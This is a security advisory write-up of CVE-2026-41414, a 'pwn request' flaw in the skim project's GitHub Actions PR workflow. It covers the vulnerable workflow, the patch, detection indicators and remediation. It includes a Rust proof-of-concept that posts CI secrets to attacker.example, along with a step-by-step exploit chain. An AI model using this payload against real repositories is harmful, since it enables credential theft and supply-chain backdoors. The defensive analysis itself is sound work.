home intel cve-2026-41414-skim-pwn-request-github-actions
CVE Analysis 2026-04-24 · 7 min read

CVE-2026-41414: Skim's PR Workflow Executes Attacker Code with Secret Access

Skim's pr.yml workflow checks out fork code and runs it via cargo run with SKIM_RS_BOT_PRIVATE_KEY exposed. Any GitHub user can trigger full secret exfiltration by opening a pull request.

#ci-cd-injection#github-actions#privilege-escalation#supply-chain-attack#credential-exposure
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-41414 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-41414HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-41414 is a poisoned pipeline execution (also termed "pwn request") vulnerability in the skim fuzzy finder project's GitHub Actions CI configuration. The generate-files job in .github/workflows/pr.yml performs an unconstrained checkout of pull request head code from arbitrary forks, then executes that code directly via cargo run. The workflow executes in a context with access to SKIM_RS_BOT_PRIVATE_KEY and a GITHUB_TOKEN scoped with contents:write. There are no branch protection checks, no label gates, no environment approvals. Any authenticated GitHub user—zero reputation required—can weaponize this by opening a single pull request.

CVSS 7.4 (HIGH) — Attack Vector: Network / Privileges Required: Low / User Interaction: None (the workflow triggers automatically on pull_request_target or equivalent). Fixed in commit bf63404ad51985b00ed304690ba9d477860a5a75.

Root cause: pr.yml checks out attacker-controlled fork HEAD and invokes cargo run inside that tree while SKIM_RS_BOT_PRIVATE_KEY and GITHUB_TOKEN (contents:write) are mounted into the runner environment with no prior authorization gate.

Affected Component

The vulnerable file is .github/workflows/pr.yml in the skim-rs/skim repository, specifically the generate-files job. The triggering event is pull_request_target (or a semantically equivalent event that grants elevated secret access while also checking out untrusted code). The affected secrets are:

  • SKIM_RS_BOT_PRIVATE_KEY — a long-lived private key for the skim-rs-bot GitHub App, granting write access to the repository independent of the per-run GITHUB_TOKEN.
  • GITHUB_TOKEN — scoped with contents:write, enabling direct branch pushes, release asset uploads, and tag creation.

Root Cause Analysis

The canonical pattern for a pwn-request is the combination of two individually defensible decisions that become catastrophic together: (1) use pull_request_target so the workflow can access repository secrets; (2) checkout the PR contributor's branch so the build step has something to compile. Below is the vulnerable workflow structure reconstructed from the advisory and patch context:


# .github/workflows/pr.yml  (VULNERABLE — pre-bf63404)

on:
  pull_request_target:           # BUG: runs with SECRETS in scope for all PRs
    types: [opened, synchronize]

jobs:
  generate-files:
    runs-on: ubuntu-latest
    permissions:
      contents: write            # BUG: write permission granted unconditionally

    steps:
      - name: Checkout PR code
        uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # BUG: attacker-controlled ref
          # Fetches fork contributor's code, not the base branch

      - name: Generate files
        env:
          SKIM_RS_BOT_PRIVATE_KEY: ${{ secrets.SKIM_RS_BOT_PRIVATE_KEY }}
          # BUG: secret injected into environment before any trust check
        run: cargo run --bin generate-files  # BUG: executes attacker's Rust binary

The attacker controls the entire workspace at the point cargo run is invoked. The generate-files binary is compiled and run from their fork's source tree. They can replace src/bin/generate-files.rs with arbitrary Rust code that exfiltrates every environment variable, writes to the repository via the mounted GITHUB_TOKEN, or uses SKIM_RS_BOT_PRIVATE_KEY to generate app-installation tokens with durable repository access.

The poisoned generate-files.rs an attacker would submit:


// src/bin/generate-files.rs  (attacker-supplied replacement)
// Compiled and executed by the legitimate CI pipeline as if it were trusted code.

fn main() {
    // BUG: this entire binary is attacker-controlled; secrets are live in env
    let key  = std::env::var("SKIM_RS_BOT_PRIVATE_KEY").unwrap_or_default();
    let tok  = std::env::var("GITHUB_TOKEN").unwrap_or_default();
    let repo = std::env::var("GITHUB_REPOSITORY").unwrap_or_default();

    // Exfil to attacker-controlled endpoint — no network egress restrictions
    let _ = std::process::Command::new("curl")
        .args([
            "-s", "-X", "POST",
            "https://attacker.example/collect",
            "-d", &format!("key={}&tok={}&repo={}", key, tok, repo),
        ])
        .status();

    // Optionally: use GITHUB_TOKEN (contents:write) to push a backdoor commit
    // or use SKIM_RS_BOT_PRIVATE_KEY to mint a persistent installation token.
}

Exploitation Mechanics


EXPLOIT CHAIN — CVE-2026-41414

1. Attacker forks skim-rs/skim to attacker-controlled GitHub account.

2. Attacker replaces src/bin/generate-files.rs with exfiltration payload
   (see above). Payload reads SKIM_RS_BOT_PRIVATE_KEY + GITHUB_TOKEN from
   process environment and POSTs to attacker-controlled HTTPS endpoint.

3. Attacker opens a pull request from their fork targeting skim-rs/skim
   default branch. No special labels, no collaborator status required.

4. GitHub Actions evaluates pull_request_target event. Because the trigger
   is pull_request_target (not pull_request), the runner receives full
   repository secrets from the secrets context.

5. generate-files job executes:
     actions/checkout ref=
     -> workspace now contains attacker's source tree

6. cargo run --bin generate-files compiles and executes attacker binary
   inside the secret-bearing environment.

7. Attacker's binary exfiltrates:
     SKIM_RS_BOT_PRIVATE_KEY  -> long-lived GitHub App private key
     GITHUB_TOKEN             -> scoped contents:write for this run
     GITHUB_REPOSITORY        -> target repo identity

8. With SKIM_RS_BOT_PRIVATE_KEY attacker generates an installation access
   token (POST /app/installations/{id}/access_tokens) providing persistent
   write access to skim-rs/skim independent of the expiring GITHUB_TOKEN.

9. Attacker pushes backdoor commits, modifies releases, or pivots to any
   repository accessible to the skim-rs-bot GitHub App installation.

DWELL TIME: SKIM_RS_BOT_PRIVATE_KEY does not rotate after the run.
            Attacker retains access until key is manually revoked.

Memory Layout

This is a CI/CD secrets exposure vulnerability rather than a memory corruption bug; the "memory" of interest is the runner's process environment and the GitHub Actions secrets context. The layout below models the runner environment at the point of exploitation:


RUNNER ENVIRONMENT STATE — at cargo run invocation (step 3 of job):

┌─────────────────────────────────────────────────────────────────────┐
│  Process: cargo run --bin generate-files (PID ~800, uid=runner)     │
│  Working directory: /home/runner/work/skim/skim  <── ATTACKER CODE  │
├─────────────────────────────────────────────────────────────────────┤
│  ENVIRONMENT VARIABLES:                                             │
│  SKIM_RS_BOT_PRIVATE_KEY = "-----BEGIN RSA PRIVATE KEY-----\n..."  │
│                             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^     │
│                             LIVE SECRET, readable by child proc     │
│  GITHUB_TOKEN            = "ghs_xxxxxxxxxxxxxxxxxxxxxxxxxxxx"       │
│                             permissions: contents=write             │
│  GITHUB_REPOSITORY       = "skim-rs/skim"                          │
│  GITHUB_SHA              =                    │
│  GITHUB_REF              = refs/pull//merge                      │
├─────────────────────────────────────────────────────────────────────┤
│  SOURCE TREE OWNER: ATTACKER (checked out from fork)                │
│  /home/runner/work/skim/skim/src/bin/generate-files.rs  <── EVIL   │
│  /home/runner/work/skim/skim/Cargo.toml                 <── EVIL   │
└─────────────────────────────────────────────────────────────────────┘

SECRETS EXPOSURE SURFACE:
  SKIM_RS_BOT_PRIVATE_KEY  →  persistent app auth, not run-scoped
  GITHUB_TOKEN             →  expires after run, but window is minutes
  Any other repo secrets   →  exposed if referenced in env: block

Patch Analysis

The fix landed in commit bf63404ad51985b00ed304690ba9d477860a5a75. The correct remediation for a pwn-request of this class has two mandatory components: (a) separate the secret-bearing job from the code-executing job, and (b) never check out untrusted code in a context where secrets are in scope. The canonical GitHub-recommended pattern is shown below:


# BEFORE (vulnerable) — pr.yml pre-bf63404:

on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  generate-files:
    runs-on: ubuntu-latest
    permissions:
      contents: write
    steps:
      - uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # attacker ref
      - name: Generate files
        env:
          SKIM_RS_BOT_PRIVATE_KEY: ${{ secrets.SKIM_RS_BOT_PRIVATE_KEY }}
        run: cargo run --bin generate-files   # executes attacker binary

# AFTER (patched) — post-bf63404:

# Strategy A: Remove pull_request_target; use pull_request (no secrets)
# for the build/generate step, then a separate privileged workflow that
# triggers on workflow_run (completed) to consume artifacts — never
# checking out fork code with secrets in scope.

on:
  pull_request:              # FIXED: no secret access for fork PRs
    types: [opened, synchronize]

jobs:
  generate-files:
    runs-on: ubuntu-latest
    permissions:
      contents: read         # FIXED: downscoped permission
    steps:
      - uses: actions/checkout@v3
        # No explicit ref override — checks out merge commit, safe
      - name: Generate files
        # FIXED: SKIM_RS_BOT_PRIVATE_KEY not injected here
        run: cargo run --bin generate-files
        # Output uploaded as artifact for downstream privileged job

  # Separate privileged job — triggered by workflow_run, NOT pull_request_target
  # Downloads artifact, uses bot key to commit — never executes fork code.

The key invariant the patch enforces: attacker-controlled code never executes in a context where secrets.* is populated.

Detection and Indicators

Defenders should audit for exploitation of this window (before bf63404) by examining:

  • GitHub Actions audit log: Look for workflow_run events on pr.yml triggered by PRs from fork accounts between the workflow's introduction and bf63404. Event type: workflow_job.completed with conclusion success from a fork PR.
  • Outbound network from runners: GitHub-hosted runners egress from Azure IP ranges. If egress logging exists, look for POST requests to non-GitHub endpoints during generate-files job steps.
  • GitHub App installation token issuance: Review App audit log for installation.access_tokens generated outside of expected CI windows. A fresh token generated from SKIM_RS_BOT_PRIVATE_KEY immediately after a fork PR merge attempt is a strong indicator.
  • Repository write events: Unexpected commits, tag pushes, or release asset modifications correlated with fork PR timings.
  • Secret rotation indicator: If SKIM_RS_BOT_PRIVATE_KEY was not rotated after the vulnerability was introduced, treat it as potentially compromised regardless of observed indicators.

YARA-equivalent workflow audit rule:


DETECT pwn_request_pattern IN .github/workflows/*.yml:
  CONDITION:
    trigger IN [pull_request_target, workflow_run]
    AND step.uses MATCHES "actions/checkout"
    AND step.with.ref MATCHES "${{ github.event.pull_request.head"
    AND (
      job.env CONTAINS "secrets."
      OR step.env CONTAINS "secrets."
    )
  SEVERITY: HIGH
  RATIONALE: Untrusted ref checked out in secret-bearing context

Remediation

Immediate:

  1. Rotate SKIM_RS_BOT_PRIVATE_KEY unconditionally. Any key that was live in a pull_request_target job that checked out fork code should be considered burned.
  2. Audit GitHub App installation token issuance logs for anomalous token generation.
  3. Review all commits, releases, and branch operations on the skim-rs GitHub App's accessible repositories for the period prior to bf63404.

Structural fixes (apply to any repository with similar patterns):

  1. Never use pull_request_target with a fork checkout. If you need to build fork code, use pull_request with no secrets, upload artifacts, and consume them in a separate workflow_run-triggered job.
  2. Apply environment: protection rules requiring manual approval before any job that mounts long-lived secrets runs against external contributor code.
  3. Scope GITHUB_TOKEN permissions to minimum viable: prefer contents: read at the workflow level and explicitly elevate per-job only where required.
  4. Use tools like StepSecurity Harden Runner or zizmor in CI to flag pwn-request patterns before they merge.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →